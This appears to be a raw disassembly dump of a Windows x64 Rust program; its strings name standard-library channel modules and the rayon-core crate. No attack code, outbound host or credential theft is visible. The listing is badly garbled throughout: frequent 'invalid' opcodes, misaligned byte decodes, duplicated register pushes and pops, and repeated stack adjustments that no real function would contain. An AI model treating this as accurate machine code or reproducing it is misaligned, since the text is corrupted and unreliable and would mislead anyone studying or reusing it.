add byte [rcx - 0x78], al
mov byte [rax + 8], cl
add byte [rcx - 0x77], cl
add byte [rcx - 0x78], al
mov byte [rax + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
mov byte [rax + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
add edx, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14024cae0]
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x14014bfc9
mov qword [rbp + 0xc8], rdx
mov dword [rbp + 0xc8], edx
mov qword [rbp + 0xf8], rcx
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
or eax, 0x117e5d
or eax, 0x117e5d
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmcmod.rs
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x14014bfc9
push rax
or al, ch
loope 0x14014bfc0
int1
dec dword [rax - 0x73]
or eax, 0x1003c0
call fcn.1401c7290
jmp 0x14014bfc9
and qword [rbp + 0x78], 0
mov byte [rbp + 0x10f], 0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmclist.rs
inc byte [rcx]
adc byte [rax], al
inc byte [rcx]
adc byte [rax], al
call fcn.1401c7290
jmp 0x14014bfc9
int1
mov dl, 7
add bl, ch
sub byte [rax - 0x73], cl
or eax, 0x100650
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmccontext.rs
call fcn.1401c7290
jmp 0x14014bfc9
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmccontext.rs
lea ecx, [0x14024c5f8]
xor al, 6
adc byte [rax], al
call fcn.1401c7290
mov dl, 7
add byte [rdi], cl
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax - 0x73], cl
invalid
rol byte [rax], 1
add byte [rax], al
ud2
add byte [rax - 0x73], cl
invalid
call fcn.140006924
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax - 0x73], cl
invalid
rol byte [rax], 1
add byte [rax], al
call fcn.140006924
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or byte [rax - 0x75], cl
push rax
or al, ch
movabs al, byte [0x28c4834890fff145]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or byte [rbx + rcx*4 + 0x7a], cl
sbb byte [rcx - 0x75], cl
add al, dh
inc qword [rax]
jle 0x14014c6c7
mov rbx, r8
mov rsi, rcx
lea rcx, [r15 + 8]
lea rdx, [rbp - 0x10]
mov qword [rdx + 8], rdi
lea r8, [rbp - 0x30]
mov qword [rdx + 0x10], r8
adc byte [rax - 0x77], cl
add al, dh
invalid
invalid
add dword [rcx + rcx*4 + 0x7d], ecx
test al, 0xe8
invalid
sti
jmp 0x14014c457
lea rcx, [r15 + 0x38]
mov byte [rbp + 0x1f], 1
call fcn.140006a06
jmp 0x14014c464
mov r14, qword [rbp + 8]
mov dl, byte [r14 + 0x20]
mov rcx, r15
call fcn.14009d48b
mov rax, qword [r14 + 0x30]
mov rdx, qword [rax]
mov r8d, dword [rax + 8]
mov byte [rbp + 0x1f], 0
mov rcx, rbx
call fcn.14000bfe0
lea rcx, [0x14028c700]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
adc byte [rax - 0x77], cl
add al, dh
invalid
mov rax, qword [rbp + 8]
mov rdx, qword [rax + 0x38]
lea rbx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000696a
cmp qword [rbx], 0
add byte [rdi], cl
invalid
cdq
add dword [rax], eax
invalid
add byte [rdi], cl
test dword [rcx + 0x48000001], ebx
lea ecx, [rbp - 0x10]
lea rcx, [rbp - 0x10]
mov rdx, qword [rcx + 8]
mov al, byte [rcx + 0x10]
mov byte [rbp + 0x1e], al
mov qword [rbp + 0x10], rdx
add rdx, 8
mov r8, rdi
call fcn.14000c0a7
cmp qword [rbp - 0x10], 0
je 0x14014c697
invalid
add byte [rax - 0x75], cl
add byte [r8 - 0x73], r9b
mov r8b, 0x48
mov dword [rcx + 0x10], eax
mov rax, qword [rbp]
lea rcx, [rbp - 0x50]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rcx], xmm0
call fcn.140006924
mov rcx, qword [rbp + 0x10]
adc byte [rdx - 0x7b17e1ab], cl
pmaddwd mm7, mm7
mov rax, qword [rbp - 0x30]
movabs rcx, 0x8000000000000000
add byte [rax], al
or byte [rax - 0x77], 0x4d
ror byte [rax + 0x39], 1
enter 0xffffffffffff840f, 0xffffffffffffff95
add dword [rax], eax
invalid
add byte [rax], al
or byte [rax - 0x77], 0x4d
ror byte [rax + 0x39], 1
enter 0xffffffffffff840f, 0xffffffffffffff95
add dword [rax], eax
add byte [rdi], cl
adc byte [rbp - 0x28], al
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rsi + 0x10], xmm0
and qword [rsi], 0
jmp 0x14014c5c8
mov rax, qword [rbp + 8]
mov rdx, qword [rax + 0x38]
lea rbx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000696a
cmp qword [rbx], 0
jne 0x14014c61d
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
mov rdx, qword [rcx + 8]
mov al, byte [rcx + 0x10]
mov byte [rbp + 0x1e], al
mov qword [rbp + 0x10], rdx
add rdx, 8
mov r8, rdi
call fcn.14000c0a7
cmp qword [rbp - 0x10], 0
je 0x14014c689
mov rax, qword [rbp]
lea rcx, [rbp - 0x50]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x10]
movaps xmmword [rcx], xmm0
call fcn.140006924
mov rcx, qword [rbp + 0x10]
mov dl, byte [rbp + 0x1e]
call fcn.14009d48b
mov rax, qword [rbp - 0x30]
movabs rcx, 0x8000000000000000
mov qword [rbp - 0x30], rcx
cmp rax, rcx
je 0x14014c6a5
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rsi + 0x10], xmm0
mov qword [rsi], 1
mov qword [rsi + 8], rax
jmp 0x14014c5e4
lea rdi, [rbp - 0x30]
mov rcx, rdi
call fcn.14014c822
mov qword [rsi], 2
mov rcx, qword [rdi]
mov rdx, qword [rbp - 0x28]
call fcn.14014b0fc
nop
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x1f], 0
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x14014c6c7
mov rax, qword [rbp - 8]
mov cl, byte [rbp]
lea r8, [rbp - 0x50]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14024cae0]
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x14014c6c7
mov rax, qword [rbp - 8]
mov cl, byte [rbp]
lea r8, [rbp - 0x50]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14024cae0]
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x14014c6c7
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
jmp 0x14014c6c7
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
jmp 0x14014c6c7
mov byte [rbp + 0x1f], 0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
jmp 0x14014c6c7
mov byte [rbp + 0x1f], 0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
ud2
movaps xmm6, xmmword [rbp + 0x1480]
add rsp, 0x1518
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rsi, rax
mov byte [rbp + 0x1477], 1
lea rcx, [rbp - 0x60]
call fcn.140152542
mov qword [rbx + 8], rsi
mov qword [rbx], 3
lea rcx, [rbp + 0x4a8]
call fcn.1401513e4
mov rcx, qword [rbp + 0x1370]
mov rdx, qword [rbp + 0x1378]
call fcn.14014b0fc
mov rcx, qword [rbp + 0x13c8]
mov rdx, qword [rbp + 0x13d0]
call fcn.14006095a
lea rcx, [rbp + 0x978]
call fcn.140156729
jmp 0x14014f63a
mov rcx, rax
call fcn.140015c8d
jmp 0x1401502b7
lea rcx, [rbp - 0x50]
call fcn.14001714f
mov rsi, qword [rbp + 0x1d0]
mov rcx, qword [rsi + 0x270]
mov rdx, qword [rsi + 0x278]
call fcn.14006095a
mov rcx, rsi
add rsp, 0x2b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.14015115b
add byte [rax], al
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r15
jmp 0x140150879
invalid
cld
invalid
invalid
movabs eax, dword [0x22f85c6fffffc]
add byte [rcx], al
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rdx, rax
call fcn.1401c7190
invalid
invalid
invalid
add bl, ch
invalid
movabs byte [0x2f85c622eb000765], al
add al, byte [rax]
add byte [rcx], al
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
lea eax, [0x1402616f0]
mov rcx, rax
call fcn.1401c6f20
sbb ah, byte [rbx + 7]
add bl, ch
invalid
sbb ah, byte [rbx + 7]
add bl, ch
or dh, byte [rcx]
leave
mov rdx, r15
mov edx, edi
call fcn.1401c66e0
invalid
ud2
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp - 0x50]
call fcn.14001714f
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
mov r8b, 0xe8
invalid
mov rdx, qword [rbp + 0x1e8]
call fcn.14006095a
cld
invalid
inc esi
test dword [rdi], ebp
invalid
add al, byte [rax]
add byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cld
invalid
invalid
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x22f], 0
je 0x140150cdc
mov rcx, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x218]
call fcn.14006095a
cld
invalid
call qword [rax + 0x28c48348]
add esp, 0x28
cld
invalid
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
mov rcx, qword [rsi + 0x270]
mov rdx, qword [rsi + 0x278]
add byte [rax], al
call fcn.14006095a
mov rcx, rsi
call fcn.14015115b
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp byte [rsi + 0x5d], bl
jmp fcn.14015188a
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rsi, qword [rbp - 0x10]
mov rcx, qword [rsi + 0x18]
mov ecx, dword [rsi + 0x18]
mov rdx, qword [rbp - 8]
call fcn.1401447d3
xor eax, 0x8348ffff
invalid
xor byte [rax - 0x77], cl
int1
call fcn.14015188a
nop
add rsp, 0x28
pop rsi
pop rbp
ret
or byte [rax - 0x77], cl
ror dword [rax - 0x7d], 1
invalid
invalid
invalid
lea rax, [0x14028c710]
movsxd rdx, dword [rax + rdx*4]
adc al, 0x90
adc al, 0x90
add rdx, rax
jmp rdx
add rcx, 8
jmp 0x140151826
jmp case.0x1400089d2.1342
add rcx, 8
jmp fcn.140137625
pop rax
invalid
invalid
invalid
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov rdx, qword [rsi + 8]
mov edx, dword [rsi + 8]
call fcn.14014b0fc
cwde
invalid
dec dword [rax - 0x75]
mov ecx, dword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
mov edx, dword [rsi + 0x20]
call fcn.14014b0fc
mov ch, 0x98
cwde
invalid
dec dword [rax - 0x75]
xor byte [rax - 0x75], r9b
mov edx, dword [rsi + 0x38]
add rsp, 0x20
add esp, 0x20
invalid
and byte [rsi - 0x17], bl
invalid
cwde
invalid
invalid
push rsi
sub rsp, 0x20
and byte [rax - 0x77], cl
mov rsi, rcx
mov esi, ecx
mov al, byte [rcx + 0x50]
dec al
cmp al, 4
add al, 0x77
invalid
mov rcx, qword [rsi + 0x58]
test rcx, rcx
je 0x14015187d
mov edx, 8
call fcn.140001b50
mov rcx, rsi
add rsp, 0x20
add esp, 0x20
pop rsi
jmp 0x140151826
movups xmm0, xmmword [rax + 0x18]
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rdx + 0x10], xmm1
adc dword [rdx + 0x10], ecx
adc dword [rdx + 0x10], ecx
movups xmmword [rdx], xmm0
lea rcx, [rbp - 0x20]
call fcn.140151b93
mov rcx, qword [rbp + 0xa0]
call fcn.140151b93
nop
add rsp, 0x138
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea eax, [0x14024cc60]
push rsp
lodsd eax, dword [rsi]
str word [rcx + rcx*4 - 0xf]
mov rcx, r14
mov rdx, r15
cli
call fcn.1401c6eb0
jmp 0x140151f3f
invalid
lea r8, es:[0x14024cc18]
str word [rcx + rcx*4 - 0xf]
mov rcx, r14
mov ecx, esi
mov rdx, r15
call fcn.1401c6eb0
add bl, ch
invalid
invalid
add bl, ch
adc cl, byte [rbp + rcx*4 + 5]
invalid
invalid
invalid
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_alloc_src_vecmod.rs
mov rcx, r13
invalid
hlt
add byte [rcx + rcx*4 - 0x17], cl
jmp 0x128efa883
mov rdx, rbx
mov edx, ebx
invalid
call fcn.1401c67c0
ud2
or ecx, dword [rax - 0x77]
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x73], cl
or r8b, r13b
push rdi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
or r8b, r13b
push rdi
add byte [rax], al
add byte [rax + 0x28c48348], dl
invalid
invalid
add byte [rax], al
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
invalid
sub esp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea esp, [rax - 0x18000000]
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0xa0]
call fcn.140151b93
sti
invalid
call qword [rax + 0x28c48348]
sti
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and byte [rdx], al
jne fcn.140038fba
test esi, edi
outsd dx, dword [rsi]
out dx, al
inc ebx
ret
insb byte [rdi], dx
and al, 0x30
invalid
xor byte [rax - 0x39], cl
clc
invalid
invalid
rol dword [rax - 0x18], 0xb7
sti
invalid
call fcn.140151b93
invalid
invalid
out dx, al
dec dword [rax - 0x77]
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
add rcx, 0x18
call fcn.140038fba
outsd dx, dword [rsi]
out dx, al
call qword [rax + 0x20c48348]
outsd dx, dword [rsi]
out dx, al
call qword [rax + 0x20c48348]
pop rbp
ret
adc eax, 0xfd0fd
add al, 0
add byte [rcx + rax], dh
sub bl, al
mov eax, 0x48000001
lea ebp, [rsp + 0x80]
add byte [rax], al
add dword [rax], eax
add dh, bh
invalid
invalid
add byte [rax], al
lea ebx, [rax]
add dword [rax], eax
add al, ch
invalid
mov eax, 0x170
test dword [rax], ebx
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x170], eax
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax], ebp
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsi + 0x180], rax
add rsp, 0x1b8
add byte [rax], al
add byte [rax + 0x54a85], cl
add byte [rax], al
mov r15b, 1
invalid
invalid
invalid
lea rsi, [rbp + 0x450]
mov rdi, rdx
mov edi, edx
mov edi, edx
rep movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
lea rsi, [rbp + 0x4c0]
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.140035567
movabs rax, 0x8000000000000001
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b976b8], al
lodsb al, byte [rsi]
xor ebp, esi
dec dword [rax - 0x48]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b976b8], al
mov r15b, 1
mov dword [rbp + 0x544], 0
add eax, 0
add eax, 0
add byte [rax], al
jmp 0x1401521fb
mov dword [rbp + 0x4c0], esi
rol byte [rax + rax], 0
movabs rax, 0x8000000000000003
mov qword [rbp + 0x4b8], rax
test dword [rax - 0x4ffffffc], edi
add dword [rcx + 0x54485], ecx
add byte [rbp + 0x31], al
invalid
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x85
mov eax, 0xb0000004
test dword [rax - 0x4ffffffc], edi
add dword [rcx + 0x54485], ecx
test dword [rbp + rax], eax
add eax, 0x31450000
add byte [rbp + 0x31], al
dec dword [rax - 0x73]
mov ch, 0x28
add dword [rax], eax
add byte [rax], al
invalid
invalid
jo 0x140152207
invalid
lea rsi, [rbp + 0x128]
sub byte [rcx], al
add byte [rax], al
mov r8d, 0x170
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, qword [rbp + 0x538]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x60]
invalid
xchg ebp, eax
cmp byte [0xcafd2214], al
add eax, 0x8ae80000
add eax, 0x8ae80000
invalid
lea ecx, [rbp - 0x60]
movabs al, byte [0xfffffe04e8f28948]
mov rdx, rsi
mov edx, esi
call fcn.140152027
lea rcx, [rbp + 0x2c8]
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
add al, byte [rax]
add byte [rax - 0x73], cl
lea edx, [rbp - 0x60]
push rbp
movabs al, byte [0x68e800000188b841]
invalid
invalid
mov r8d, 0x188
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
invalid
add byte [rax - 0x73], cl
lea esp, [rax]
add eax, 0xf0e80000
invalid
xor ch, dh
out dx, al
lea rcx, [rbp + 0x520]
call fcn.140035535
invalid
xor ch, dh
out dx, al
invalid
add al, ch
invalid
out dx, al
dec dword [rbp + rcx*4 - 0x4b]
sub byte [rcx], al
add byte [rax], al
invalid
lea r14, [rbp + 0x128]
add byte [rax - 0x73], cl
lea rdx, [rbp + 0x2c8]
xchg ebp, eax
enter 2, 0
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x48], al
mov byte [rcx], al
add byte [rax], al
mov r8d, 0x188
mov rcx, r14
int1
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0x520]
invalid
invalid
add byte [rdi], cl
adc byte [rbp + 0x520], al
add byte [rax], al
movups xmmword [r14 + 0x188], xmm0
adc dword [rsi + 0x188], eax
mov byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax], esi
xor byte [0xc95e2279], al
mov rax, qword [rbp + 0x530]
xor byte [0xc95e2279], al
add byte [rax], al
mov qword [r14 + 0x198], rax
lea rdi, [rbx + 0x1a0]
add dword [rax], eax
invalid
xchg byte [rax + 0x48000001], bl
lea edi, [rbx + 0x1a0]
add dword [rax], eax
invalid
cwde
add dword [rax], eax
add byte [rax - 0x73], cl
mov ebx, 0x1a0
add dword [rax], eax
add byte [rdx + 0xd], ch
push 0xd
or eax, 0xb58d4859
mov eax, 0xf3000004
add al, 0
add bl, dh
invalid
pop rcx
lea rsi, [rbp + 0x4b8]
add al, 0
add bl, dh
invalid
add byte [rax], al
rep movsq qword [rdi], qword [rsi]
movsq qword [rdi], qword [rsi]
mov r8d, 0x1a0
mov eax, 0x1a0
movabs al, byte [0x894cd98948000001]
bnd call sub.VCRUNTIME140.dll_memcpy
call sub.VCRUNTIME140.dll_memcpy
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov ecx, ebx
invalid
mov rdx, r14
mov edx, esi
call sub.VCRUNTIME140.dll_memcpy
invalid
invalid
add dh, al
mov byte [rbx + 0x208], 0
or dword [rax], 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x7c], al
push qword [rbp + 0x13]
jne 0x1401522c2
test r15b, r15b
jne 0x1401522c2
adc eax, esi
test dword [rdi + 5], ecx
invalid
invalid
mov byte [rbp + 0x54f], 0
add rax, 0x48000000
lea ecx, [rbp + 0x450]
add al, 0
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rax + 4]
invalid
add byte [rax], al
lea rcx, [rbp + 0x450]
add al, 0
add byte [rax], al
add al, ch
call case.0x1400089d2.1342
xchg edi, eax
cmc
invalid
nop
add rsp, 0x5d8
add eax, 0x5f5b0000
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea rcx, [rbp + 0x4b8]
lea edi, [rax - 0x17fffffc]
mov eax, 0xe8000004
add al, 0
add al, ch
invalid
add byte [rax], al
call fcn.14015127e
xchg edi, ebp
invalid
mov byte [rbp + 0x54c], 1
add eax, 0xc6010000
add byte [rax], al
add byte [rcx], al
add esi, eax
mov byte [rbp + 0x54b], 0
test dword [rbx + 5], ecx
add byte [rax], al
add byte [rbx + 0x54485], cl
mov eax, dword [rbp + 0x544]
add eax, 0x85880000
add eax, 0x85880000
add byte [rax], al
add byte [rax + 0x54a85], cl
mov byte [rbp + 0x54a], al
test dword [rdx + 5], ecx
add rax, 0xffffffff83480000
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x2c8]
lea ecx, [rbp + 0x2c8]
invalid
call case.0x14000bc89.1228
nop
xchg esi, eax
out dx, eax
invalid
call qword [rax + 0x28c48348]
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
invalid
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x54a9d], cl
mov bl, byte [rbp + 0x54a]
add rax, 0xffffffff8a400000
add byte [rax], al
add byte [rax - 0x76], al
mov sil, byte [rbp + 0x54b]
mov ch, 0x4b
add eax, 0xbd800000
add byte [rax], al
add byte [rax + 0x54cbd], al
cmp byte [rbp + 0x54c], 0
add rax, 0x75000000
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x26], dh
jne 0x1401523a4
lea rcx, es:[rbp + 0x4b8]
lea rcx, [rbp + 0x4b8]
lea ecx, [rbp + 0x4b8]
mov eax, 0xe8000004
add al, ch
call fcn.14015127e
hlt
out dx, al
invalid
mov byte [rbp + 0x54e], sil
mov ch, 0x4e
add eax, 0x9d880000
add rax, 0xffffffff83480000
add eax, 0x83480000
mov byte [rbp + 0x54d], bl
add eax, 0x83480000
add byte [rax], al
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov byte [rbp + 0x54e], sil
mov ch, 0x4e
add eax, 0x9d880000
add rax, 0xffffffff83480000
add byte [rax - 0x7d], cl
add byte [rax], al
add byte [rax + 0x54d9d], cl
mov byte [rbp + 0x54d], bl
add byte [rax - 0x7d], cl
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
invalid
invalid
lea rbp, [rdx + 0x80]
mov bl, byte [rbp + 0x54e]
popfq
invalid
invalid
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rdx + 0x54e9d], cl
popfq
add rax, 0xffffffffbd800000
invalid
invalid
add byte [rax], al
invalid
popfq
add rax, 0xffffffffbd800000
add byte [rax], al
cmp byte [rbp + 0x54d], 0
add rax, 0x74000000
add eax, 0x74000000
je 0x140152404
invalid
lea rcx, [rbp + 0x450]
lea edx, [rax + 4]
add byte [rax], al
invalid
add al, 0
add al, ch
push 0xffffffff88fffff4
invalid
call case.0x1400089d2.1342
mov byte [rbp + 0x54f], bl
add rsp, 0x28
add esp, 0x28
popfq
add rax, 0xffffffff83480000
add eax, 0x83480000
add eax, 0x83480000
add byte [rax - 0x7d], cl
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov byte [rbp + 0x54f], bl
add rsp, 0x28
popfq
add rax, 0xffffffff83480000
add eax, 0x83480000
invalid
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
push rsp
and al, 0x10
invalid
push rbp
adc byte [rbp + 0x41], dl
push rdi
push r15
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
invalid
invalid
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x54fbd], al
add byte [rax], al
invalid
cmp byte [rbp + 0x54f], 0
add byte [rax], al
add byte [rbp + 0xd], dh
jne 0x140152445
or eax, 0x28c48348
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
